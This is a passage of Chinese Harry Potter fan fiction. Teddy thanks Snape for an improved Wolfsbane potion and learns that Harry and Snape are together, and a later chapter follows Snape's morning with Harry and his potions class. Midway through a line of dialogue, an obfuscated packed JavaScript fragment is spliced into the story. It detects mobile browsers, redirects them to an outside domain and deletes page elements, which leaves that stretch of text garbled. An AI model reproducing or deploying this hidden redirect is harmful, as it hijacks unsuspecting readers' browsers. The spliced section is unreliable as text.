正当泰迪左右为难时,斯内普忽然动了。他抬手简单地理了理袖口,随后黑袍一扬,毫不犹豫地转身离开,很快便消失在走廊尽头。 泰迪松了一口气,在原地呆了几秒才迈步往地窖方向走去。他临走前又忍不住朝哈利看了一眼,但他的教父完全没有注意到刚才的一幕,依旧耐心地和学生们说着话。 不知为什么,泰迪隐隐感觉自己刚刚看到了一些重要的事情,但究竟是什么,他却又完全说不清楚。 —————— 魔药办公室的门虚掩着。泰迪敲了敲,里面传来一声简短的“进来”。 推开门,泰迪看到斯内普背对着他,正忙着整理药材架上的瓶瓶罐罐。他的动作又快又轻,仿佛刚刚在走廊里那个古怪的样子只是泰迪的错觉。 “过来。”斯内普转过身,手里拿着一个装着银色液体的瓶子。 泰迪睁大眼睛盯着那个精致的水晶瓶。他认出这是改良版狼毒药剂,银色的药液比之前更加纯净,甚至能看到一些细小的金色颗粒悬浮在其中。 “每个月来取一次,分三次服用,方法和上次一样。”斯内普把瓶子推过桌子,神情和平常没什么区别,“根据你教父的反馈,我调整了一下配方,效果会更稳定一些。” 泰迪小心翼翼地捧起那个瓶子,沉甸甸的触感让他一时不知该说什么才好。他抬起头,看见斯内普仍然是那副严肃的表情,原本盘算好的感谢顿时一句也想不起了。 西弗好像从来不怎么在意别人是不是跟他说谢谢,他只是那样做了,仿佛这只是随手的小事。可泰迪心里知道,这分明是很重要的事情。 “西弗……”泰迪把水晶瓶紧紧攥在手中,“谢谢你。真的,谢谢你。” 斯内普微微皱眉:“你不必——” 泰迪用力摇了摇头,“你不知道这对我和爸爸有多重要!上次满月的时候,爸爸一点儿都不痛苦,他还认出了我!他看着我的时候,眼睛里就是爸爸的样子。” “我第一次抱到了变成狼的爸爸,”他越说越激动,甚至开始比划起来,“他的毛好软,一点也不吓人。连小天狼星都说,从没见过爸爸变形后还能那么平静。西弗,你的药剂简直是奇迹!” 斯内普的神色没什么变化,漆黑的眼睛却微微闪动了一下。 “虽然……呃,他全身的毛都炸起来了,”泰迪突然想起这个细节,忍不住笑出声,“看起来特别像个大蒲绒绒!” 斯内普干咳了一声,眼神移开了:“那是暂时的副作用,以后可以解决。” “我倒觉得毛茸茸的挺可爱!”泰迪赶紧补充道。想到父亲曾经担忧的问题,他的语气低落下来,“可是……我听爸爸说,狼毒药剂特别特别贵,普通的都很难买,更别说这种改良版了。这得花好多好多加隆吧?” “我上次就跟你说过,”斯内普平静地打断了他,“你的教父已经安排好了一切,不用你担心。” “可是爸爸说,我们不该总是花哈利的钱……” 斯内普的嘴角抽动了一下,似乎感到有些无奈,“你教父的支付能力比你想象的要好。” 泰迪还想再说点什么,斯内普却忽然伸出手,似乎想安慰他,但动作又生硬又笨拙。他犹豫了一下,最终只是把手落到泰迪头顶,轻轻揉了揉他的头发。 “这些事不需要你操心。”斯内普的声音低了几分,“把药剂收好。” 就在他的手掌接触到泰迪头发时,泰迪的眼前浮现出一幅奇异的画面。 一头无比美丽的生物从斯内普身上浮现出来。它的形态那么纤细、那么优雅,银色的光芒中充满了无尽的温柔…… 泰迪的心脏狂跳起来。他认得它!他第一次感受到西弗内心时,看到的就是这头美丽的银色生物。 可是后来……它不是变了吗?后来明明变成了—— 怎么又变回去了? 泰迪呆呆地盯着斯内普,脑子里乱糟糟的,千万个问题在他脑海里打转,却一句也问不出来。这太不可思议了。西弗知道吗?他知道自己的守护神又变了吗? “怎么了?”斯内普好像察觉到他的异样,收回了手,微微皱起眉头。 泰迪眨了眨眼,那银色的幻影很快就消失了。他赶紧摇摇头,但他知道自己脸上的表情一定很奇怪,因为斯内普的眉头皱得更紧了。 “没……没什么。” 斯内普狐疑地看了他一眼,并没有追问。 “拿上药剂,你可以回去了。” 然而泰迪站在原地没动。心里那个疑问实在太强烈了,憋得他浑身不自在。只是过了一个复活节假期,为什么所有的事情好像一下子都变了? “还有事吗?”斯内普见他迟迟不动,终于出声催促。 泰迪咬了咬嘴唇,终于鼓起勇气开口:“西弗,最近学校里……很多人都在说你和哈利……” “他们说什么?”斯内普语气一沉。 泰迪艰难地咽了下口水,小心翼翼地观察着斯内普的表情:“他们说你们关系不一般。” 斯内普的神情顿时变得难以捉摸。他沉默了很长时间,目光移到墙上的一个玻璃罐子上。 “人们总是喜欢对他们不了解的事情妄加猜测。”斯内普开口,“不过,这件事还是由你教父亲口告诉你更合适。” 他停了一下,这才重新望向泰迪:“你可以直接去问他,他会告诉你的。” 泰迪垂下肩膀,一阵说不清的委屈慢慢浮上来。 西弗并没有否认。原来,传闻是真的。 哈利和西弗,他们竟然真的…… 谁也没想过要告诉他,是因为觉得他只是个孩子吗? “我知道了。”泰迪低下头,小声回答,手指紧紧握住那个冰凉的药剂瓶。 —————— 晚餐时间,泰迪带着罗恩和赫敏绕过几群正在讨论决斗比赛的高年级学生,在格兰芬多长桌尽头找了个相对安静的位置坐下。 罗恩一坐下就迫不及待地问:“好了,现在可以说了吧?马尔福到底怎么了?” 泰迪谨慎地看了看四周,确认没人注意他们,才压低声音将下午在魔药办公室的对话简单复述了一遍。当他说到纳西莎深夜拿着魔杖站在德拉科床边时,赫敏惊讶地停下了手里的叉子。 “这听起来不太对劲,”赫敏微皱起眉头,“马尔福母亲的行为听起来很不正常……那他现在怎么办?” “所以我想……”泰迪迟疑了一下,说出了他的想法,“我们能不能试着帮帮他?我的意思是,偶尔一起学习,或者去图书馆写作业也行。他现在真的很孤单。” 罗恩的脸色立马变了:“你是认真的吗?跟马尔福做朋友?你忘了他一年级是什么样的吗?” “你也知道那个不是真的!”泰迪急得声音都抬高了些,又赶紧压低,“真正的德拉科没那么坏。” “可他还是个斯莱特林。”罗恩固执地说。 “罗恩。”赫敏认真地盯着他,“我们不能因为学院就否定一个人。马尔福过去一年表现并不差,说实话,我也没发现他做过什么坏事。” 罗恩嘟囔了一句:“谁知道他是不是背地里做了什么我们不知道的坏事……” 泰迪无奈地叹了口气,知道罗恩改变想法并不容易,他还是决定再试试。 “罗恩,”泰迪注视着好友的眼睛,尽量让自己的语气更温和,“你想想看,如果你最亲近的人忽然变得特别陌生,甚至让你感到害怕,你会怎么办?” 罗恩张了张嘴,一句反驳的话也没说出来。 “他现在连家都不敢回了。”泰迪继续说,“高尔和克拉布也不理他。他什么都没做错,只是因为他的父母可能被卷进了某些危险的事情里。” 罗恩眉头拧成一团,过了一会儿,终于重重地叹气:“好吧,但如果他敢摆出那副高高在上的臭架子……” “他不会的。”泰迪赶紧保证。 赫敏若有所思地咬着下唇:“也许他的母亲是中了什么魔咒或受到某种黑魔法的影响。也可能遭遇了某种精神操控——比如混淆咒一类的魔法?” “我也这么想。”泰迪点头,“可是谁会对她施咒呢?又为什么?” “我不知道。”赫敏认真地看向他,“但我认为你应该尽快告诉佩弗利尔教授。他是黑魔法防御术专家,或许他能判断得更准确。” 听到哈利的名字,泰迪心里的不舒服又冒了出来。他抬头望向教工席,那儿空了两个位置——哈利和斯内普今晚都没来吃晚餐。 “泰迪?”赫敏注意到他的走神,疑惑地喊了一声。 “嗯,哦……对,”泰迪赶紧收回目光,“我会告诉哈利的。” 嘴上这么说着,心里却不确定起来。他该怎么去问哈利?直接问为什么瞒着他? 泰迪突然意识到,自从回到学校后,他只见过哈利一次——在走廊里匆匆擦肩而过,哈利只是摸了摸他的头,笑着问了一句:“和莱姆斯相处得还好吗?”然后就被弗立维教授叫走了。 明明假期刚开始时一切都很正常,哈利还和他一起在峡谷之屋玩飞天摩托。可回到学校后,哈利就变得怪怪的。 虽然以前他也不会天天黏着教父,但他就是能感觉到有什么不对劲。 现在想想,是不是因为哈利和西弗在一起了? 如果他们真的在一起了,那自己算什么?他们三个人以前相处得那么好,以后还会像以前那样吗?哈利会不会觉得,既然他现在有爸爸了,就不需要再像以前那样照顾他了? 不,哈利不是那样的人。哈利不会不要他的。 可是为什么不告诉他?为什么连西弗都觉得该由哈利来告诉他?难道他们觉得他太小了,不能理解这些事吗? 泰迪盯着盘子里的土豆,用叉子一下一下地戳着,越想越觉得委屈。 “总算找到你了,泰迪·卢平。” 西比不知何时爬到了他的餐盘旁,正费劲地整理它那皱巴巴的小袍子。它的身上残留着好几道彩色的魔法痕迹,看上去狼狈极了。 “你就不能老老实实呆在平时坐的位置上吗?”人偶的声音里透出一种生无可恋的疲惫。 “西比?”泰迪惊讶地看着它,“你这是怎么——” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156456|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“别问了。”西比气呼呼地拍打着袍子,“这就是我自作聪明的下场。顺带一提,佩弗利尔要见你,立刻、马上。” 赫敏好奇地探过头:“为什么是你来传话?” 西比露出一个讽刺的表情:“因为我才刚从他办公室出来。可能佩弗利尔把我当成了一只长不出翅膀的猫头鹰,在他眼里,我受的罪根本不值一提。” 泰迪连忙站起来:“那你要不要跟我一起去?” “不!”西比像被烫到一样跳起来,“我拒绝参与任何可能涉及成年人复杂情感问题的愚蠢谈话。” “什么复杂情感问题?”罗恩迷茫地眨着眼睛问。 西比没理他,快速跳下餐桌,头也不回地往门口跑去:“韦斯莱家的双胞胎邀请我参观他们的秘密储藏室,说有最新的恶作剧产品——显然,这才是我应该参与的夜间活动。” “小心违反宵禁!”赫敏忍不住提醒。 “费尔奇那家伙根本拿我没办法。”西比潇洒地挥了挥手,消失前又停下来朝泰迪喊了一句,“祝你好运,巫师幼崽。” —————— 泰迪推开哈利办公室的门,最先看到的是哈利的背影。 他坐在书桌后的椅子上,椅子侧对着窗户,夕阳落在他身上,让整个人显得安静而孤单。他正望着窗外,远处是禁林暗淡的轮廓,再远些是起伏的群山。 那背影看起来……有些落寞。可是,哈利怎么会孤独呢? “哈利?”泰迪轻唤了一声。 哈利立刻转过头,脸上的神情瞬间变得柔和了:“泰迪,快过来坐。” 他示意泰迪坐到壁炉边的小沙发上,自己也离开书桌,走过去与他并肩而坐。 泰迪的心跳不由自主地快了起来。 “泰迪,对不起。”哈利首先开口,他用手掌轻轻摩擦着膝盖,看上去很不自在,“有件很重要的事,我一直忘了告诉你。” 泰迪眨眨眼,没出声,静静地等着他继续说下去。 “我早该告诉你的……”哈利看起来紧张极了,“可开学之后一直忙得晕头转向,要不是今天西弗勒斯提醒我,我一直以为你早就知道了。梅林啊,我真是个糟糕的教父。” “我……”哈利停住了,脸微微泛起红色,他努力找着词,“我实在是不知道该怎么——” 看着平时镇定自若的教父变成这样,泰迪心里那些委屈和疑问好像一下子变得不那么重要了。他决定帮哈利一把。 “哈利,你真的和西弗在谈恋爱吗?” 他眼睁睁地看着哈利的脸“轰”地一下红透了,从脸颊一直红到耳朵尖。 哈利干咳一声,眼睛四处乱瞟,嘴里咕哝着:“学校那些传闻……大部分都是乱说的……但是……” 他停下来,深深吸了一口气,终于转头看着泰迪,绿眼睛里带着少见的紧张: “是的,泰迪。我和西弗勒斯在一起了,就是复活节的时候。” 泰迪盯着他看了几秒钟,消化着这个虽然已经猜到,但还是很震撼的事实。 “在一起的‘在一起’?”他忍不住又确认了一遍。 哈利的脸更红了些,但还是用力点了点头:“对,就是……恋人之间的那种在一起。” 说完这句话,他整个人像是被抽空了力气,但随即又紧张起来。他忐忑地看着泰迪:“你会不会觉得很奇怪,或者觉得……” 但事实上,得知真相后泰迪反而觉得轻松多了。那些隐隐的不安与被排斥的感觉,在哈利坦率的目光下慢慢消散。他明白了,哈利并不是故意瞒着他,只是单纯地……忘了。 “可你最近一直在躲着我。”可他还是忍不住把心里藏着的那些疑问说了出来,“从回学校开始就是。我还以为是你有了西弗,就不想要我了。” “什么?不!”哈利反应很大,他下意识地往泰迪身边挪了挪,双手在空中乱比划着,“泰迪,我没有躲着你,我只是……” 他停住了,眼神里有什么东西一闪而过。 “只是怎么了?”泰迪追问道。 “只是最近……有太多麻烦的事情,”哈利叹了口气,轻轻揉了揉鼻梁,“如果我让你觉得被忽视了,那真的非常抱歉,泰迪。” 泰迪歪着头认真地想了一会儿。 “那……我们还是一家人吗?”他小声问,“即使你和西弗在一起了?” 下一秒,他被拉进了一个有些急切的拥抱。 “当然是。”哈利低声说,声音有些发抖,“我们永远是一家人!什么都不会改变这一点。” 教父的怀抱一如既往地温暖。虽然心里还有很多没解开的疑问,但这个拥抱让泰迪感到无比安心。 他靠在哈利怀里,过了一阵子才又犹豫地问:“那……以后西弗也会成为家人吗?” “他……”哈利慢慢松开了他,脸上的表情有些哭笑不得,“他可能得花点时间习惯这个词。不过泰迪,他一直都很在乎你,你知道的。” “我知道。”泰迪点点头,脑海里浮现出西弗刚才摸他头时那种别扭又温柔的动作,还有手里那瓶贵重的药剂,“可家人不一样啊。” 哈利疑惑地看着他。 泰迪想了想该怎么说出心里的感觉。他以前觉得,家人就是祖母,还有哈利。后来祖母去世了,他的家人就只剩下哈利一个人。再后来,他们一起来到了这里,他才知道自己的爸爸还活着——虽然刚开始还不能告诉爸爸自己是谁,可最近他们终于相认了。 “家人就是……”他慢慢地说,“不管发生什么事,他们都不会离开你。你难过的时候,他们会陪着你;你开心的时候,他们也会为你高兴。” 他抬起头,望进哈利的眼睛:“西弗现在也是这样的人吗?不会离开我们的那种?” 话刚说完,泰迪又一次被哈利抱紧了,比之前还要紧一些。 “是的,泰迪,家人是不一样的,”哈利的声音听起来很奇怪,像有什么东西哽在喉咙里,“不论发生什么,我们都会在一起。就像莱姆斯会一直陪在你身边一样,我和西弗勒斯也会一直陪着你。你难过,我们会在你身边,让你重新笑起来;你开心,我们会为你庆祝,我们永远不会离开你。” 泰迪紧紧回抱住教父,把脸埋在他的肩膀里。就在这个拥抱中,哈利的守护神悄然浮现,那头银色的牡鹿静静地站立在柔和的光芒里。 它让他突然想起什么,想起西弗身上浮现的那个同样美丽的生物。两个画面在他脑海中短暂地重叠了一下,那种奇妙的感觉稍纵即逝。 也许西比说得对,有些事要等他长大以后才会真正明白。但现在,他只知道自己的家人又多了一个,以及哈利与西弗已经真正属于了彼此。 “哈利?”他声音闷闷的。 “嗯?” “你爱他吗?非常爱吗?” 哈利沉默了一下,然后非常轻地回答:“是的。比我原本以为的还要深。” “那西弗呢?他也爱你吗?” 这一次的沉默更长一些。然后哈利笑了,泰迪能感觉到,因为他的肩膀在轻轻颤动。 “他……不会把这种话说出口的,”哈利轻声说,“但是,是的,我想他也是……” “他当然爱你。”泰迪抬起头,肯定地看着自己的教父。 “你怎么知道?”哈利松开他,惊讶地看着他。 泰迪想起了那两个相互辉映的银色身影。哈利曾经告诉过他,守护神不会骗人,因为那是一个人灵魂最真实的模样。 他神秘地笑了笑:“反正我就是知道。” 119. 无可救药的魔药教授(上) 西弗勒斯·斯内普从一个极其不愉快的梦中惊醒。 心脏在胸腔里剧烈跳动,床单被汗水浸透,黏糊糊地贴在后背上。他抬起手臂挡在眼前,试图抹去脑海中残留的梦境画面:黑发的年轻人温柔地牵起一个红发女子的手,转身离去时甚至没有回头看他一眼。而他只能站在原地,任由黑暗将他一寸寸吞没。 地窖里一片静谧。没有鸟鸣,也没有晨光,只有远处偶尔传来的滴水声。他在这种安静中生活了十几年,曾经觉得这是世界上最完美的地方,可现在—— 左侧肩膀上的重量让他回过了神来。 他稍稍转头,黑色的发丝蹭过他的下巴,带来一阵细微的痒意。哈利睡得正沉,头枕在他的肩膀上,一只胳膊随意搭在他腰间,呼吸均匀而绵长。年轻人的面容离他不过咫尺,嘴唇微微张开,睫毛在脸颊上映下细碎的阴影,额前几缕碎发依旧倔强地翘着。 梦境的残影顿时消散无踪。斯内普一动不动,只有眼睛在贪婪地描摹着眼前的每一个细节。他的大脑在进行着某种奇异的对比——梦中那张冷淡疏离的脸,和现在这个贴着他熟睡的年轻人。 哈利究竟是什么时候来的?午夜还是更晚?斯内普原本以为昨晚他不会过来——毕竟才刚想起要告诉泰迪他们之间的关系。泰迪对于哈利有多重要,他比谁都清楚。哈利或许需要更多时间去安抚和解释,确保那个小崽子不会因此感到被冷落。 可显然,这个格兰芬多还是在某个他不知道的时刻悄无声息地溜进地窖,钻进被子,轻车熟路地占据了床的一半。 斯内普伸出手,在即将触碰到哈利脸颊时又犹豫地停住,随后轻轻地帮他理顺了几根不听话的头发。睡梦中的人动了动,本能地往他的方向靠得更近了些。 时钟指向清晨六点,斯内普却再无睡意。他望着天花板,开始胡乱思考。 这两周,他们真正独处的时间少得可怜。假期最后几天,哈利几乎整日待在戈德里克山谷,与新认的家人共进餐,直到深夜才回来。 斯内普本以为自己终于能重获以往那份清净,重新沉浸在魔药和配方的世界里。事实却恰好相反,那种久违的安静竟变成了缓慢的折磨。他常常在实验台前漫不经心地翻动早已整理好的文稿,注意力却始终停留在门口,竖起耳朵捕捉密道那头的动静。 直到密道口传来“南瓜馅饼”的口令,哈利的脚步声再次响起,他内心的空虚才终于得到缓解。 开学后更是不得安宁,各种事务一个接一个地涌来。弗立维天天拉着哈利研究决斗规则,那项搁置已久针对不可饶恕咒的反制研究也重新启动了。 “既然伏地魔还在研发新的黑魔法,我们就需要有对等的防御手段。”某人说这话时充满了不切实际的乐观主义。 而他居然鬼使神差地加入了。理由?他告诉自己是为了“防止某个鲁莽的救世主把自己炸上天”。 “太好了!靠我一个人进度太慢了。”哈利笑得十分灿烂,“理论研究不是我的强项,以前都是赫敏负责的。不过论这个领域,我想没人能比你更适合了。” 斯内普不知道他哪来的盲目信心。可他该死的,竟因此飘飘然了好几天。 随后,古老的文献和繁复的实验记录很快便填满了他们本就有限的独处时间,偶尔还要应付西比的抱怨——那个人偶最近一见到他就远远躲开,生怕又被抓去做实验。 也因此,总有学生看到他们在一起。流言开始在学校里快速蔓延,而斯内普惊讶地发现,他竟不如从前那般介意了。或许只是因为这些流言第一次离真相如此之近。 他逐渐意识到,自己已经无法再忍受哈利不在的日子。 这个认知让他感到一阵恐慌。他的生活什么时候开始被另一个人如此彻底地占据了?地窖早已不再只属于他,哈利的痕迹随处可见——印着黑狗图案的马克杯,桌角随意摆放的羽毛笔,甚至连空气中都残留着对方的气息。 他并不想改变眼前的一切,但心底始终有一丝不安。表面上他们朝夕相处,实际上不断被繁琐的事务打断得七零八落。尤其是昨天下午的场景—— 斯内普闭上眼,想赶走脑海里挥之不去的画面。可闭上眼,那一幕反而更加清晰:午后的阳光照亮了哈利的侧脸,他微笑着俯下身,对那红发女孩说了些什么。 够了。他不允许自己再这样胡思乱想下去。 斯内普睁开眼睛,注视着哈利安静的睡颜,却觉得这远远不够。他低下头,将鼻尖抵在哈利的发顶,让对方的气息瞬间充满了他的鼻腔。作为一个精通魔药与气味的人,他比任何人都清楚气味的独特与无可伪造。 还是不够。 恐惧和占有欲像两条交缠的蛇,在他的血管里游走。他重新调整姿势,将哈利更彻底地圈进自己的势力范围。另一只手覆上哈利搭在他腰间的手,十指紧紧相扣,形成密不透风的禁锢。他知道自己有些用力过度,却丝毫不想放松。 你哪儿也别想去。 斯内普的视线落在哈利微张的唇瓣上,继而移到脖颈处若隐若现的青色血管。他伸手轻触着哈利的嘴唇,手指顺着面颊一路滑落,最终停在了锁骨上方。 下一刻,牙齿轻轻咬住了那片柔软的皮肤。不算太用力,但足够留下印记。 “唔……”哈利发出一声含糊的呢喃。 斯内普没有停下。他的唇继续向上,沿着颈侧逐寸游走,锁骨、下颌、耳后的皮肤——最终停在了那张他在梦中失去的唇边。 “西弗……” 哈利终于被弄醒了。绿眼睛迷茫地眨了眨,还带着睡意的朦胧。 这声轻唤彻底击溃了斯内普最后的克制。他俯身封住了对方未出口的话语。 哈利很快便完全清醒过来。他似乎试图开口,但每一次都被斯内普更加强势地堵了回去,最终只得放弃挣扎,抬手搂住对方的脖颈,以同样的力度回应着。 —————— 等一切平静下来,早餐的时间早就错过了。 哈利瘫在床上,黑发乱作一团,脸颊仍泛着未褪的潮红。“某位魔药教授的精力可真够惊人的,”他半睁着眼睛抱怨,“这是某种新式的叫醒服务吗?” 他慵懒地伸了个懒腰,随即倒吸一口凉气,索性不动了,“你知不知道我今天还有课?”他斜眼瞥向床边的斯内普,“我现在像是刚打完一场魁地奇决赛。” 斯内普侧身撑起上半身,居高临下地欣赏着自己留下的杰作——颈侧和锁骨上深深浅浅的痕迹。看到这些,他心中的焦虑才稍稍平复下来。 “身为格兰芬多的狮子,”他低头在哈利唇边轻啄了一下,“不是该有无穷无尽的体力吗?” 哈利瞪了他一眼,“感谢夸奖。如果不是每天忙得团团转,还要应付某人的‘高强度训练’,也许我真能像狮子一样跑上三天三夜。” “听起来像是抱怨。”斯内普抬手触碰他锁骨上一处显眼的红痕,“可你之前的反应可不像在抗议。” 哈利挑起眉毛,“好吧,我得承认,被人这样需要的感觉其实还不错。而且你有没有注意到,你越是焦虑,表现得就越热情?” 斯内普的手顿了片刻,然后转过身去穿衣服,背对着哈利掩饰自己的窘迫,“那是你的自作多情。” “我觉得不是。”哈利也坐了起来,身后传来被单轻微摩擦的声音,“你是不是有什么心事?在担心什么吗?” 斯内普没有回答。 “如果你是担心泰迪的话,”哈利接着说,“我昨晚已经告诉他我们的事了。” “我知道。”斯内普淡淡地回应了一声,语气像是不在意。 哈利的语气认真了一些:“其实你很在乎他的看法吧?我知道你担心泰迪的感受。” “荒谬。”斯内普没有回头,低头慢慢扣上衬衫扣子,“我为什么要在意一个小鬼的想法?” “泰迪很高兴你成为了家人。” 斯内普的手指停在扣子上,一时忘记了动作。 家人。 这个词像一股暖流缓缓渗进他的心脏,让他不知该如何反应。三十多年的人生里,他的生命中从未出现过与“家人”有关的温暖。父亲沉溺于酒精,母亲生活在恐惧里,而他自己早已习惯了站在所有温暖之外。 片刻后,他恢复了动作,机械地继续扣着扣子,硬生生地转移了话题:“昨天我把下个月的狼毒药剂给了他。那孩子还在为费用发愁。” 哈利迟疑了一下:“确实是个问题。上次莱姆斯问起,我告诉他试验药剂免费提供。但他明显不太愿意长期接受帮助……” “那是他的问题。”斯内普转过身,目光从哈利凌乱的黑发移至颈间的痕迹,喉结微微动了一下,“我已经告诉那孩子,他的教父会安排好一切。” “怎么安排?”哈利疑惑地眨眼,显然没有跟上他的思路。 斯内普走回床边,低头看着他:“作为受益方,我想你该考虑如何表示感谢。” “你不会是想说……”哈利瞪大了眼睛,“今天早上这个算是……付费?” “价值不菲的改良版狼毒药剂。”斯内普俯下身,用双臂撑在哈利身体两侧,在他耳边低声道,“我认为值得更充分的感谢。” 回应他的是哈利一把拉住他的衣领,热烈缠绵地表达了更为“充分”的感谢。 “这样够了吗?”两人分开时,哈利气息不稳地问,绿眼睛里还带着一丝挑衅。 斯内普轻哼了一声,强迫自己直起身子。再这样下去,他们今天恐怕哪儿也去不了。他随手拿起床头柜上的袖扣开始佩戴。 “很适合你。”哈利带着明显的愉悦说道。 斯内普别扭地转开视线。这对袖扣是哈利上周送的,准确地说,是哈利陪莉莉逛街时买回来的。“你总是一身黑袍,实在太单调了。”哈利回来后这么说,然后不由分说地塞给他。 他从来不喜欢那些毫无实际用处的东西,尤其是在魔药制作时可能碍手碍脚的饰品。但最终,他还是将袖扣戴上,甚至特意加了防腐蚀咒,以免被药剂蒸汽熏黑。 “品味还算过得去。”他勉强承认一句,努力掩饰内心那一点微妙的甜蜜,转身走到衣柜前取出外袍。 哈利也在身后开始穿衣服,忽然又停了下来:“西弗勒斯,这张便签什么时候放在这儿的?” 斯内普回过头,看到哈利正站在另一侧的床头柜旁,展开手中折叠着的羊皮纸。 “邓布利多终于回来了。”哈利飞快地扫了一眼,脸上的神情逐渐严肃,“他让我尽快去办公室一趟。” 房间里暧昧的氛围一扫而空。自从哈利那天从格林德沃那里回来,邓布利多就消失了。此后没有任何消息,没有任何指示,只留下他们面对那些来自前黑魔王的惊人言论。 格林德沃。时间裂缝。世界崩塌的预言。 这些词快速掠过斯内普的脑海。他心中冷笑:典型的煽动手法,通过真假难辨的危机感操控人心,把所有人都当成他棋盘上的棋子。 然而哈利与泰迪的存在,本身便证明了时间旅行确实存在,他们的到来也确实影响了历史走向。 “我打算等会儿就去,正好上午没课。”哈利放下便签,“这件事的确不能再拖了。格林德沃说的那些……哪怕只有一半是真的,我们也必须认真对待。” 斯内普皱起眉头,又来了,这种没完没了的英雄主义。他隐约感到一阵烦躁。眼前这个年轻人已经承担了太多,经历的苦难也够多了。拯救世界是哈利·波特的什么专属职责,必须由他一个人来背负所有人的命运和希望吗? “要我陪你去吗?”他问出口时就清楚答案是什么。 “你上午有课吧?”哈利看了眼时钟,“两节魔药课,我记得。” 是的,他有课。可斯内普清楚,这并非自己真正抗拒去的原因。 他只是不想这么快面对邓布利多那双洞察人心的蓝眼睛。上次哈利失踪后,老校长注视他的眼神,让他感到自己像个被剥光了衣服的小丑。他所有的恐慌、失态以及在乎,在那一刻暴露无遗。 “确实。”他听见自己说。 哈利似乎察觉到了什么,稍稍歪头看向他:“没关系,我会把所有事都告诉你的。午餐见?” 斯内普点了点头。 哈利走到门边,又回头看了他一眼。斯内普正准备穿上平日常穿的黑色外袍。 “今天穿这件吧。”哈利突然出声,指向衣架上挂着的另一件袍子。 斯内普皱眉看过去。这件袍子他从未见过,依然是黑色,但剪裁明显更加考究,隐约能看到面料上精致的银色暗纹。 “你什么时候弄来的?” “就当是配你的袖扣。”哈利眨了眨眼睛,推门走了出去。 门关上后,斯内普站在原地顿了片刻,伸手取下那件陌生的袍子。和他平时的黑袍子看上去区别不大,但手感要柔软许多,光线下能看到低调又精致的暗纹。 先是袖扣,现在又是新的巫师袍。这个格兰芬多似乎解锁了什么新的癖好,几乎从头到脚都想给他换一套行头。 他套上了这件外袍,意外的合身舒适。他走到镜子前,打量着里面的人。还是那张阴沉的脸,还是那头垂肩的黑发,可镜子里的人看起来……好像是不太一样。 “花哨。”斯内普刻薄地评价了一句,嘴角却忍不住勾了起来。 —————— 五年级的魔药课让斯内普找回了久违的掌控感。 “如果你们还有那么一点点记忆力,”斯内普站在讲台前,目光冷冷扫过底下的学生,“应该记得我上周强调过,这种药剂对精确度的严格要求。任何错误的搅拌或一秒钟的延误,都足以送你们直达医疗翼。” 台下一片死寂。斯内普满意地看着那些战战兢兢的面孔——很好,恐惧是最有效的教学工具。 他在课桌间穿梭,每走过一个坩埚,附近的学生都纷纷低头,生怕被他挑出什么错误。 “逆时针,布兰斯通先生。”斯内普停在一名男孩身边,“除非你很想体验一下自己变成蜡烛融化时的美妙感觉。” 男孩吓得手一抖,搅拌棒差点掉进坩埚。 “还有你,克里瓦特小姐,”他转向另一名学生,“我不记得要求你雕刻艺术品。蝾螈眼球要切成均匀的小块,而不是你眼前这堆稀奇古怪的玩意儿。” 女孩满脸通红,急忙重新开始切割材料。 接下来的十分钟里,他精准地抓出每个学生的错误,毫不吝啬附送最为尖刻的评语。半节课下来,教室里一大半学生都被训斥得灰头土脸的。 “看来今天没人能达到及格线。”斯内普目光冷酷地扫视全班,“我要提醒你们,没有在O.W.L.s考出‘优秀’的学生,将无缘六年级的高阶魔药课。这会极大地缩小你们未来的就业机会。” 他停顿了一下,看着底下一片惨淡的表情,又补充道:“本周论文长度三英尺,少写一寸,期末考试时就等着品尝你们自己的‘作品’吧。放心,我保证医疗翼已经为你们预留好了位置。” 学生们发出绝望的哀嚎,斯内普却感觉浑身的细胞都在欢呼。这种绝对掌控课堂的感觉让他精神振奋。梅林作证,昨天他可是花了很大力气,才把酝酿已久的讥讽硬生生咽了回去。 想到昨天的场景,他的好心情顿时打了折扣。同样是这间教室,隆巴顿照例把他的坩埚变成了一个小型灾难现场——紫色浓烟、倒塌的坩埚,以及那张被惊恐占据的圆脸。按照惯例,他本该用最刻薄的语言将这个毫无天赋的男孩批评得体无完肤,让他知道自己在魔药学上是多么的无可救药,顺便给格兰芬多扣上至少二十分。 那些嘲讽的话语当时已到嘴边。可当他面对隆巴顿惊恐到扭曲的表情时,脑海里却响起了另一个声音。 “对纳威好一点吧。他其实不笨,只是太害怕了。给他一个机会,西弗勒斯。” 当时他是怎么回应的?哦,对了,他反驳说隆巴顿是个天生的蠢材,十次中有九次都会毁掉坩埚,能容忍他留下就已是最大的仁慈。然而,哈利的眼神明显传达了他的不赞同。 每当哈利提起那个世界,斯内普就不得不面对一个事实:有另一个“他”存在过。不,那不是他。虽然按照格林德沃的说法,他们始终在同一条时间线上,只是经历了不同的历史。可斯内普对这种说辞嗤之以鼻。经历才是一个人的全部定义——不同的经历,怎么可能造就同一个人?他可不是,也永远不想是那个所谓的“英雄”。 就像他不认为这里的隆巴顿和那个世界的“纳威·隆巴顿”有什么关系。 但无论如何,昨天当他再次面对那个瑟瑟发抖的男孩时,熟悉的尖刻话语在舌尖打转,就是一个字也说不出来。哈利的那双绿眼睛仿佛就在不远处盯着他。 最终,他只是简单地扣了两分,让隆巴顿去医疗翼。这个举动使整个教室陷入震惊——斯莱特林学生面面相觑,格兰芬多的学生则怀疑自己听错了。隆巴顿本人更是呆立原地,被同学拉走时还一脸不敢置信。 斯内普烦躁地想,那个该死的格兰芬多不知道用了什么魔法,让他连坚持了十几年的原则都开始动摇。 更可怕的是,他察觉到自己正站在某个危险的边缘。退后一步,他就能重新回到坚硬冷漠的外壳里,继续做那个令人敬而远之的魔药教授;踏前一步,他可能会彻底暴露出软弱的内心,失去所有伪装,成为那个会因一双绿眼睛的期待而改变原则的自己。 斯内普皱紧眉头,将自己从那悬崖边缘拉了回来。 至少现在,在五年级的魔药课上,他还能做回那个让学生闻风丧胆的魔药教授。 —————— 